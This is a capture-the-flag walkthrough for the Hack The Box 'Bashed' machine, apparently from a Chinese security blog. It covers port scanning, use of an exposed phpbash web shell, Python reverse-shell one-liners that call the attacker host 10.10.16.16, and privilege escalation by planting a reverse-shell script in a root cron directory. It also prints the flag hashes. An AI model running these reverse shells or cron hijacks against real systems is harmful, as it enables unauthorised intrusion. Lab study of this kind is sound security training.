Information Gathering
| IP Address | Opening Ports |
|---|---|
| 10.10.10.68 | TCP:80 |
$ sudo masscan -p1-65535,U:1-65535 10.10.10.68 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports$ ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')$ nmap -Pn -sV -sC -p$ports 10.10.10.68
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
PHP Bash
![[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升插图](https://img.4awl.net/img/ec/f68e3829d534b09ca6eae7c77714d1.jpg "[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升插图")
$ dirsearch -u http://10.10.10.68
![[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升插图1](https://img.4awl.net/img/79/8b87e6e2e5121ee2f3442859953706.jpg "[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升插图1")
http://10.10.10.68/dev/
![[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升插图2](https://img.4awl.net/img/07/9956ea16e6d2b7f9e5800d24c32fc4.jpg "[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升插图2")
http://10.10.10.68/dev/phpbash.php
![[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升插图3](https://img.4awl.net/img/5f/e6e0fda8c842a3788c590add39ec4d.jpg "[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升插图3")
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.16",445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
User.txt
8f7df2f47989e214ab11a888ee378946
www-data to scriptmanager
$ sudo -l
$ sudo -u scriptmanager ./reverse.sh
![[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升插图4](https://img.4awl.net/img/05/06649a7450035ebdd3ef2e8bc2f61a.jpg "[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升插图4")
Privilege Escalation : Python cron jobs
$ ./pspy32
![[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升插图5](https://img.4awl.net/img/be/2c73c68ac9b942fa39e1d511726d71.jpg "[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升插图5")
$ cd /scripts;touch 1.py
![[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升插图6](https://img.4awl.net/img/a9/36b553e3c27e0201221954d79345d2.jpg "[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升插图6")
import os,pty,socket;s=socket.socket();s.connect(("10.10.16.16",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")
$ wget http://10.10.16.16/reverse.py
![[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升插图7](https://img.4awl.net/img/a2/a92d62c1d8a795b4a1a8bb38ea56b9.jpg "[Meachines] [Easy] Bashed PHP Bash+Python计划任务权限提升插图7")
Root.txt
96c6dadfc0c09eb783c4d2e614205ef9
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。
本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！
程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）
